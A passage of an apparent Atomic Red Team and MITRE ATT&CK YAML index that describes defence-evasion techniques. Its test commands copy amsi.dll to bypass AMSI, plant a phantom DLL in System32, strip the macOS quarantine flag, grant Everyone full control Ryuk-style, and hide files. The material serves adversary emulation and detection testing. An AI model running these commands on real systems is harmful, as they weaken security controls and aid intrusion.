Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "$Env:windir\System32\Tasks" $InstallerAssemblyFileName = 'readme.txt' $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "readme.txt" $ExpectedOutput = 'Constructor_' # Explicitly set the directory so that a relative path to readme.txt can be supplied. Set-Location "$Env:windir\System32\Tasks" Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe" $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = 'Executable' CommandLine = $CommandLine InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe" } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly if ($ActualOutput -ne $ExpectedOutput) { throw @" Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore name: powershell T1027.008: technique: modified: '2024-04-16T12:26:49.584Z' name: Stripped Payloads description: |- Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018) Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Linux - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Metadata' type: attack-pattern id: attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97 created: '2022-09-29T18:30:12.244Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/008 external_id: T1027.008 - source_name: intezer stripped binaries elf files 2018 description: 'Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.' url: https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/ - source_name: SentinelLabs reversing run-only applescripts 2021 description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022. url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ - source_name: Mandiant golang stripped binaries explanation description: STEPHEN ECKELS. (2022, February 28). Ready, Set, Go — Golang Internals and Symbol Recovery. Retrieved September 29, 2022. url: https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1574.001: technique: modified: '2024-04-18T22:54:54.668Z' name: 'Hijack Execution Flow: DLL Search Order Hijacking' description: |- Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module. Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak - Marina Liang - Will Alexander - Ami Holeston x_mitre_deprecated: false x_mitre_detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'File: File Creation' type: attack-pattern id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34 created: '2020-03-13T18:11:08.357Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/001 external_id: T1574.001 - source_name: Adversaries Hijack DLLs description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023. url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/ - source_name: FireEye Hijacking July 2010 description: Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html - source_name: FireEye fxsst June 2011 description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html - source_name: Microsoft Security Advisory 2269637 description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 - source_name: Microsoft Dynamic-Link Library Redirection description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN - source_name: Microsoft Dynamic Link Library Search Order description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN - source_name: Microsoft Manifests description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: FireEye DLL Search Order Hijacking description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html - source_name: OWASP Binary Planting description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. url: https://www.owasp.org/index.php/Binary_planting object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1574.001 atomic_tests: - name: DLL Search Order Hijacking - amsi.dll auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3 description: | Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. supported_platforms: - windows executor: command: | copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit cleanup_command: | del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1 name: command_prompt elevation_required: true - name: Phantom Dll Hijacking - WinAppXRT.dll auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb description: ".NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS\nSetting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches an application using .NET.\n\nUpon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied to system32 folder for loading during execution of any .NET application.\n" supported_platforms: - windows executor: command: | copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f cleanup_command: | reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll name: command_prompt elevation_required: true T1553.001: technique: modified: '2022-11-08T14:00:00.188Z' name: 'Subvert Trust Controls: Gatekeeper Bypass' description: |- Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization ) Based on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions: 1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques) 2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers. 3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID. 4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified. Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton) Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: "The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)" x_mitre_platforms: - macOS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.2' x_mitre_contributors: - Brandon Dalton @PartyD0lphin - Swasti Bhushan Deb, IBM India Pvt. Ltd. x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Metadata' - 'File: File Modification' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e created: '2020-02-05T16:16:08.471Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1553/001 external_id: T1553.001 - source_name: Application Bundle Manipulation Brandon Dalton description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.' url: https://redcanary.com/blog/mac-application-bundles/ - source_name: theevilbit gatekeeper bypass 2021 description: Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021. url: https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/ - source_name: OceanLotus for OS X description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - source_name: TheEclecticLightCompany Quarantine and the flag description: hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021. url: https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ - source_name: 'TheEclecticLightCompany apple notarization ' description: How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021. url: https://eclecticlight.co/2020/08/28/how-notarization-works/ - source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1553.001 atomic_tests: - name: Gatekeeper Bypass auto_generated_guid: fb3d46c6-9480-4803-8d7d-ce676e1f1a9b description: 'Gatekeeper Bypass via command line ' supported_platforms: - macos input_arguments: app_path: description: Path to app to be used type: path default: myapp.app executor: command: 'sudo xattr -d com.apple.quarantine #{app_path} ' elevation_required: true name: sh T1553.002: technique: modified: '2022-09-22T19:13:52.548Z' name: Code Signing description: "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. x_mitre_platforms: - macOS - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Metadata' x_mitre_defense_bypassed: - Windows User Account Control type: attack-pattern id: attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082 created: '2020-02-05T16:27:37.784Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1553/002 external_id: T1553.002 - source_name: EclecticLightChecksonEXECodeSigning description: 'Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.' url: https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/ - source_name: Securelist Digital Certificates description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016. url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ - source_name: Symantec Digital Certificates description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016. url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates - source_name: Wikipedia Code Signing description: Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016. url: https://en.wikipedia.org/wiki/Code_signing object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1036.009: technique: modified: '2023-10-03T04:06:42.256Z' name: Break Process Trees description: "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Tim (Wadhwa-)Brown x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c created: '2023-09-27T19:49:40.815Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/009 external_id: T1036.009 - source_name: 3OHA double-fork 2022 description: Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023. url: https://0xjet.github.io/3OHA/2022/04/11/post.html - source_name: Microsoft XorDdos Linux Stealth 2022 description: 'Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.' url: https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/ - source_name: Sandfly BPFDoor 2022 description: The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023. url: https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1222.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'File and Directory Permissions Modification: Windows File and Directory Permissions Modification' description: |- Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Active Directory: Active Directory Object Modification' - 'Process: Process Creation' - 'File: File Metadata' type: attack-pattern id: attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee created: '2020-02-04T19:17:41.767Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1222/001 external_id: T1222.001 - source_name: Hybrid Analysis Icacls1 June 2018 description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - source_name: Hybrid Analysis Icacls2 May 2018 description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - source_name: Microsoft Access Control Lists May 2018 description: M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020. url: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists - source_name: Microsoft DACL May 2018 description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018. url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces - source_name: EventTracker File Permissions Feb 2014 description: Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018. url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1222.001 atomic_tests: - name: Take ownership using takeown utility auto_generated_guid: 98d34bb4-6e75-42ad-9c41-1dae7dc6a001 description: | Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, "SUCCESS" will be displayed for the folder and each file inside of it. supported_platforms: - windows input_arguments: file_folder_to_own: description: Path of the file or folder for takeown to take ownership. type: path default: "%temp%\\T1222.001_takeown_folder" dependency_executor_name: command_prompt dependencies: - description: 'Test requrires a file to take ownership of to be located at (#{file_folder_to_own}) ' prereq_command: 'IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: | mkdir #{file_folder_to_own} echo T1222.001_takeown1 >> #{file_folder_to_own}\T1222.001_takeown1.txt echo T1222.001_takeown2 >> #{file_folder_to_own}\T1222.001_takeown2.txt executor: command: 'takeown.exe /f #{file_folder_to_own} /r ' name: command_prompt - name: cacls - Grant permission to specified user or group recursively auto_generated_guid: a8206bcc-f282-40a9-a389-05d9c0263485 description: | Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If "Access is denied" is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, "Successfully processed 3 files" will be displayed. supported_platforms: - windows input_arguments: file_or_folder: description: Path of the file or folder to change permissions. type: path default: "%temp%\\T1222.001_cacls" user_or_group: description: User or group to allow full control type: string default: Everyone dependency_executor_name: command_prompt dependencies: - description: 'Test requrires a file to modify to be located at (#{file_or_folder}) ' prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: | mkdir #{file_or_folder} echo T1222.001_cacls1 >> #{file_or_folder}\T1222.001_cacls1.txt echo T1222.001_cacls2 >> #{file_or_folder}\T1222.001_cacls2.txt executor: command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F ' name: command_prompt - name: attrib - Remove read-only attribute auto_generated_guid: bec1e95c-83aa-492e-ab77-60c71bbd21b0 description: | Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed. Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty. supported_platforms: - windows input_arguments: file_or_folder: description: Path of the file or folder remove attribute. type: path default: "%temp%\\T1222.001_attrib" dependency_executor_name: command_prompt dependencies: - description: 'Test requrires a file to modify to be located at (#{file_or_folder}) ' prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: | mkdir #{file_or_folder} echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt attrib.exe +r #{file_or_folder}\T1222.001_attrib1.txt attrib.exe +r #{file_or_folder}\T1222.001_attrib2.txt executor: command: 'attrib.exe -r #{file_or_folder}\*.* /s ' name: command_prompt - name: attrib - hide file auto_generated_guid: 32b979da-7b68-42c9-9a99-0e39900fc36c description: | Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that the victim does not see the file. supported_platforms: - windows input_arguments: file_or_folder: description: Path of the files to hide. type: path default: "%temp%\\T1222.001_attrib_2" executor: command: | mkdir #{file_or_folder} >nul 2>&1 echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt cleanup_command: 'del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1 ' name: command_prompt - name: Grant Full Access to folder for Everyone - Ryuk Ransomware Style auto_generated_guid: ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6 description: | Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone. **icacls "C:\*" /grant Everyone:F /T /C /Q** However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host. You can set your own path variable to "C:\*" if you prefer. supported_platforms: - windows input_arguments: path: description: Path of folder to recursively set permissions on type: path default: C:\Users\Public\* file_path: description: Path of folder permission back type: path default: "%temp%\\T1222.001-folder-perms-backup.txt" dependency_executor_name: command_prompt dependencies: - description: 'Backup of original folder permissions should exist (for use in cleanup commands) ' prereq_command: 'IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'icacls #{path} /save #{file_path} /t /q >nul 2>&1 ' executor: command: icacls "#{path}" /grant Everyone:F 